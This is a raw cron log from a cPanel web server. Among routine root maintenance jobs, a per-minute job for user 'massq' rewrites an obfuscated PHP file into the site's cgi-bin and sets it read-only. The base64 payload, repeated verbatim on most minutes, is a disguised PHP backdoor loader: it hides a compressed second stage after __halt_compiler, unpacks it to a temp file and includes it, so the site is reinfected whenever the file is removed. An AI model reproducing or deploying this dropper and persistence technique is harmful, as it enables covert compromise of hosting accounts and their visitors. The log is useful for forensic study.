Sep  3 10:40:01 server CROND[30939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:40:01 server CROND[30952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:41:01 server CROND[31864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:41:01 server CROND[31863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:41:01 server CROND[31865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:42:01 server CROND[32251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:42:01 server CROND[32253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:42:01 server CROND[32252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:42:01 server CROND[32254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:43:01 server CROND[32631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:43:01 server CROND[32632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:43:01 server CROND[32633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:44:01 server CROND[573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:44:01 server CROND[574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:44:01 server CROND[575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:45:01 server CROND[992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:45:01 server CROND[994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:45:01 server CROND[993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:45:01 server CROND[1000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:45:01 server CROND[999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:45:01 server CROND[998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:45:01 server CROND[997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:46:01 server CROND[2041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:46:01 server CROND[2042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:46:01 server CROND[2043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:47:01 server CROND[2450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:47:01 server CROND[2451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:47:01 server CROND[2452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:48:01 server CROND[2894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:48:01 server CROND[2895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:48:01 server CROND[2896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:49:01 server CROND[3294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:49:01 server CROND[3295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:49:01 server CROND[3297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:50:01 server CROND[3699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:50:01 server CROND[3701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:50:01 server CROND[3708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:50:01 server CROND[3712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:50:01 server CROND[3709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:50:01 server CROND[3702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:50:01 server CROND[3711]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:50:01 server CROND[3705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:50:01 server CROND[3706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:51:01 server CROND[4656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:51:01 server CROND[4658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:51:01 server CROND[4657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:52:01 server CROND[5056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:52:01 server CROND[5058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:52:01 server CROND[5057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
